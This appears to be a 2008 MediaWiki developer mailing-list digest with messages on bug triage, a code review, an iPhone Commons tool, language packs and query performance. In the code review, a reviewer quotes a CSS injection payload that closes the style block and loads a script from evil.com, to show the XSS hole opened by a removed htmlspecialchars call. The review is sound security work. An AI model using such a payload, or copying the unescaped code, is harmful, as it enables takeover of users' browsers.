Hi,
I'm interested in what is the current "bug report management" going on
with MediaWiki at the moment, and if it can be improved.
Bugzilla is purported to be the method of communication between the
Wikimedia project communities and the MW developers. But I find it
fairly unsatisfying because I feel like when I file bug
reports/feature requests, I have no confidence that they will even be
read, let alone considered as a community request, responded to,
placed in a roadmap or given a developer-POV priority. I feel like the
only I can have any guarantee of the software feature I want being
considered, is to befriend individual developers and try and convince
them about my idea. Obviously, this doesn't scale well.
<http://www.bobcongdon.net/blog/2005/11/triage.html>
Maybe it would help to try and encourage developers and techie types
to do more (or any?) bug triaging, eventually leading to individuals
or groups responsible for triaging all bugs entered within particular
Product & Component values? Extension authors are obviously
responsible for triaging their own extensions' bugs, but especially
for the Wikimedia and MediaWiki products I think this should be
helpful.
I couldn't find any mention of this kind of bug report management or
bug triaging on mediawiki.org, so I am guessing whatever is done at
the moment is fairly ad-hoc.
It is difficult to "see" activity on bugzilla, a la Recentchanges. (I
guess if you are subscribed to wikibugs-l you see everything...) for
example there is no straightforward way (ie link from the mainpage) to
see the most recently entered bugs, or the most recently closed bugs,
or the highest priority still-open bugs. These are probably fairly
straightforward reports -- maybe it would be good to link them on the
bugzilla front page?
If activity on bugzilla was more visible, it would be easier to thank
people who spend time on bug triaging. (an otherwise extremely
thankless task!)
Another idea would be to have regular bug triage days/events, like
maybe one weekend a month, and just publicise them on here and
mediawiki.org.
I guess I would also like to know more generally, what can Wikimedia
communities do to communicate their tech priorities to y'all more
clearly? What can we do better to get clearer feedback? (Even hearing
a "no" at least gives one closure. :)) Is Bugzilla the best and only
method? Is it helpful if a community appoints a 'tech request manager'
who acts as a filter/gateway between the developers and the wiki
community?
thanks,
Brianna
[[user:pfctdayelise]]
--
They've just been waiting in a mountain for the right moment:
http://modernthings.org/
On Wed, Jul 30, 2008 at 11:36 PM, <nad(a)svn.wikimedia.org> wrote:
> Log Message:
> -----------
> I meant to say should *not* use htmlspecialchars, it makes invalid CSS syntax - bug reported on MW talk page
> ...
> - $css = htmlspecialchars(trim(Sanitizer::checkCss($css)));
> + $css = trim(Sanitizer::checkCss($css));
> $parser->mOutput->addHeadItem( <<<EOT
> <style type="text/css">
> /*<![CDATA[*/
I'm pretty sure this results in a rather straightforward XSS exploit.
What if $css is something like:
]]></style><script type="text/javascript"
src="http://evil.com/take_over_browser.js"></script><style
type="text/css"><![CDATA[
You aren't escaping "]]>" anywhere.
The more correct solution, it seems to me, is to dispose of the CDATA
section altogether. It's entirely unnecessary if the code is
automatically generated and you can stick it through htmlspecialchars,
especially if there's probably almost nothing to escape and the CDATA
delimiters look uglier than the occasional rare < or whatnot. I've
done this in r38307.
I've written a tool that functions as a specialized iPhone interface
for Commons. It is quite rudimentary at the moment, but with support
might develop into something. I note that there is currently no
"official" commons.mobile interface AFAIK.
The URL is:
http://toolserver.org/~magnus/iCommons.php
As most of you don't have an iPhone (yet;-) I'll prefix my demo links
with an iPhone simulator. Note that the annoying scrollbars that
appear occasionally will not do so on the iPhone itself.
The entry page shos the Picture of the day (with description, en only ATM):
http://www.testiphone.com/?url=http://toolserver.org/~magnus/iCommons.php
All pages have a clickable "Wikimedia Commons" header that will lead
back to this page.
Also, all pages have a search box at the bottom. As this uses the
opensearch API, it seems to be limited to a single word...
Green links will lead to external pages (Commons and others), normal
blue ones stay within the tool.
Try searching for "Alexandria".
(This search even found one of our videos, but as video thumbnails are
/still/ not rendered in the requested size, it broke the layout; so,
no videos for you...)
Click on the title link or the image itself, and you go a special
description page.
The description has a larger thumbnail, and all kinds of details about
the image.
This uses my "Commons API" [1], which eases my data parsing considerably.
My Commons API also recognizes images with a location, and will add a
Googlemaps link to the description page:
http://www.testiphone.com/?url=http://toolserver.org/~magnus/iCommons.php?m…
The next step would be categories, obviuosly...
Feedback, please!
Magnus
[1] http://toolserver.org/~magnus/commonsapi.php
Using the Translate extension technology we have created a language pack
for MediaWiki 1.12. Compared to the release version of MediaWiki 1.12,
the latest language pack contains 35,000 more translated messages. This
compares to over 18 additional full localisations. Aside from added
translations, thousands of messages were updated.
All files are available in http://translatewiki.net/mediawiki/. The
language pack is available in zip and tar.gz format. Windows users may
want to use the ZIP format.
* http://translatewiki.net/mediawiki/MediaWiki-1.12.0-language-pack-2008-08-0…
* http://translatewiki.net/mediawiki/MediaWiki-1.12.0-language-pack-2008-08-0…
The above URLs may have been wrapped. The contents of the compressed
file should be unpacked in "./languages/messages/" of your
MediaWiki 1.12 installation.
If somehow possible, we would like these files to be linked on
http://www.mediawiki.org, too, but I have not yet found a suitable way
to give the language packs a podium. Please read this as an open
invitation to put it in somewhere.
Cheers! Siebrand
MediaWiki-1.12.0-language-pack-2008-08-02.tgz
------------------------------------------------
sha1sum 31bc11156d4d8b92a143c721a259cbb8840f74dd
md5sum 86464c423e1609e02f61d59203f37a76
MediaWiki-1.12.0-language-pack-2008-08-02.zip
------------------------------------------------
sha1sum 078b375f5222c02aec835f3e86359fa0af001154
md5sum 14c63bf8da47cb50cfa737abe347eba2
purodha(a)svn.wikimedia.org wrote:
> Revision: 38382
> Author: purodha
> Date: 2008-08-01 17:47:41 +0000 (Fri, 01 Aug 2008)
>
> Log Message:
> -----------
> Minor typing error in German localisation.
Please note that the German language is now localised at Betawiki,
therefore your changes will be overwritten on the next export.
MinuteElectron.
I have a code which is running perfect on one wiki.
I installed another wiki on other machine.
*
code snippet:*
$pageTitle = Title::newFromText($args[title]);
where $args[title]="Main_Page"
*Following is the error message* :
"*Catchable fatal error*: Argument 1 passed to Linker::doEditSectionLink()
must be an instance of Title, null given, called in
/opt/web/htdocs/mediawiki/includes/Linker.php on line 1175 and defined in *
/opt/web/htdocs/mediawiki/includes/Linker.php* on line *1200"
*Its not able to form Title object. Pls help!!.
*
*--
Thanks n Regards
Viral Gupta
When a man knows what he wants, the world steps aside to make way for him.
> Revert r38302,38306 -- "Add an order by to the list of watched pages."
> This looks wrong -- an order by title wouldn't be indexed properly, and
> could be rather slow.
Eh? It indexes just fine:
QUERY PLAN
------------------------------------------------------------------
Sort (actual time=16.137..16.350 rows=538 loops=1)
Sort Key: page.page_title
Sort Method: quicksort Memory: 76kB
-> Nested Loop Left Join (actual time=0.460..14.734 rows=538 loops=1)
Join Filter: (watchlist.wl_namespace = page.page_namespace)
-> Bitmap Heap Scan on watchlist (actual time=0.379..2.605 rows=538 loops=1)
Recheck Cond: (wl_user = 345)
-> Bitmap Index Scan on watchlist_user (actual time=0.298..0.298 rows=538 loops=1)
Index Cond: (wl_user = 345)
-> Index Scan using page_title on page (actual time=0.015..0.019 rows=2 loops=538)
Index Cond: (watchlist.wl_title = page.page_title)
Total runtime: 16.782 ms
--
Greg Sabino Mullane greg(a)endpoint.com
End Point Corporation
